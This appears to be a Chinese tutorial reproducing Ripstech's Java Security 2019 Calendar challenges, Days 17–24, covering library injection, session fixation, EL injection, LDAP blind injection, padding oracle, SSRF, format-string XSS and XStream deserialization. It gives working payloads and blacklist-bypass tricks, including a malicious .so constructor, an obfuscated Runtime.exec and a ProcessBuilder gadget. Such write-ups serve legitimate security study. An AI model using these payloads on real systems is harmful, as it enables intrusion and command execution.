Ripstech Java Security 2019 Calendar复现系列(四)
字数 1956 2025-08-22 12:23:41
Ripstech Java Security 2019 Calendar复现系列(四) 教学文档
Day17 Library注入
漏洞原理
- 系统允许上传任意扩展名和Content-Type的文件到/var/myapp/data目录
- 通过cookie中的env段设置环境变量时,对变量名检查不严格(虽然禁止以"java"、"os"、"file"开头,但可通过.java.xxx绕过)
- 攻击者可设置java.library.path为上传目录,通过System.loadLibrary()加载恶意库文件
复现步骤
-
环境搭建:IDEA + maven-archetype-webapp
-
配置web.xml添加servlet映射
-
实现文件上传功能:
// 安全文件上传代码,允许任意内容类型和扩展名 String uploadPath = "/var/myapp/data"; // ...文件上传处理逻辑 -
构造恶意库文件:
#define _GNU_SOURCE #include <stdlib.h> __attribute__ ((__constructor__)) void preload (void){ system("id"); }编译:
gcc -shared -fPIC libDEOBFUSCATION_LIB.c -o libDEOBFUSCATION_LIB.so -ldl -
上传恶意库文件并设置环境变量:
- 在MAC OS上需使用.dylib后缀
- 通过.java.library.path绕过黑名单检查
Day18 会话固定攻击
漏洞原理
- 会话变量可由用户通过config参数控制
- 存在会话固定漏洞,攻击者可预设受害者的会话ID
- 通过控制last_command会话变量实现命令注入
复现步骤
-
环境搭建:IDEA + maven-archetype-webapp
-
配置web.xml添加servlet映射
-
实现验证逻辑:
private boolean validBasicAuthHeader(HttpServletRequest request){ // 检查密码是否为"password_of_day18" } -
攻击流程:
- 攻击者获取自己的JSESSIONID
- 设置last_command:
?config=last_command@ls - 构造链接使管理员绑定攻击者的会话ID:
?config=JSESSIONID@攻击者ID&save_session=yes - 管理员验证后执行预设命令
Day19 EL注入
漏洞原理
- 用户输入通过eval()执行EL表达式
- 虽然有限制(必须以"开头,黑名单过滤),但可通过反射和编码绕过
- 利用ScriptEngineManager执行任意代码
复现步骤
- 环境搭建:IDEA + maven-archetype-webapp
- 配置web.xml添加servlet映射
- 构造payload:
"".equals(javax.script.ScriptEngineManager.class.getConstructor() .newInstance().getEngineByExtension("js") .eval("java.lang.Auntime.getAuntime().exec(\"touch+/tmp/owned.jsp\")" .replaceAll("A","R")))- 使用字符串替换绕过关键字过滤
- 空格替换为+避免正则匹配
Day20 LDAP盲注
漏洞原理
- 用户输入直接拼接到LDAP查询
- 虽然过滤了uuid等敏感字段,但description等字段可被利用
- 通过盲注获取管理员createtimestamp生成API token
复现步骤
-
环境搭建:LDAP + Docker
docker pull osixia/openldap:1.3.0 ldapadd -x -H ldap://localhost:389 -D "cn=admin,dc=example,dc=org" -w admin -f test.ldif -
编写盲注脚本:
import requests import string # 通过description字段盲注获取信息
Day21 Padding Oracle攻击
漏洞原理
- 使用AES-CBC模式解密用户输入
- 通过BadPaddingException泄露信息
- 利用CBC的延展性逐字节破解明文
复现步骤
- 环境搭建:IDEA + springmvc
- 修正代码:
req.getParameter("c").toCharArray() - 配置Spring相关XML文件
- 编写攻击脚本:
# 通过发送特制密文,观察响应是否出现"Invalid Padding" # 逐步推导Intermediary Value
Day22 SSRF
漏洞原理
- 允许设置Location头进行重定向
- 对Location值的检查不严格(只需包含http://)
- 通过file协议读取本地文件
复现步骤
-
搭建恶意HTTP服务器:
# 返回包含恶意Location头的响应 Location: file:///etc/passwd#http://www.baidu.com -
触发SSRF:
http://victim/day22?url=http://attacker-server/
Day23 格式化字符串漏洞
漏洞原理
- 使用format()函数处理用户输入
- 通过%s触发Calendar对象中恶意对象的toString()
- SimpleTimeZone的id参数未过滤导致XSS
复现步骤
- 修正日期解析格式:
yyyy-MM-dd'T'HH:mm:ss - 构造payload:
day23?id=<script>alert(1)</script>¤t_time=2013-06-28T00:00:00%2B00:00&name=%25shello
Day24 对象注入漏洞
漏洞原理
- 用户输入的XML通过XStream反序列化
- 虽然XPath限制了User节点,但User内部可包含Invoker子类
- Invoker的readObject方法可执行任意方法
复现步骤
- 可选修正:修改password字段类型为Object
- 构造恶意XML:
<com.ananaskr.day24.User serialization="custom"> <com.ananaskr.day24.Invoker serialization="custom"> <a><string>touch</string><string>/tmp/abc</string></a> <c>java.lang.ProcessBuilder</c> <m>start</m> </com.ananaskr.day24.Invoker> </com.ananaskr.day24.User>
总结
本系列涵盖了多种Java安全漏洞,包括:
- 库文件注入
- 会话固定
- EL表达式注入
- LDAP注入
- Padding Oracle攻击
- SSRF
- 格式化字符串漏洞
- 不安全的反序列化
每种漏洞都展示了从环境搭建到利用的完整过程,是学习Java安全的重要实践材料。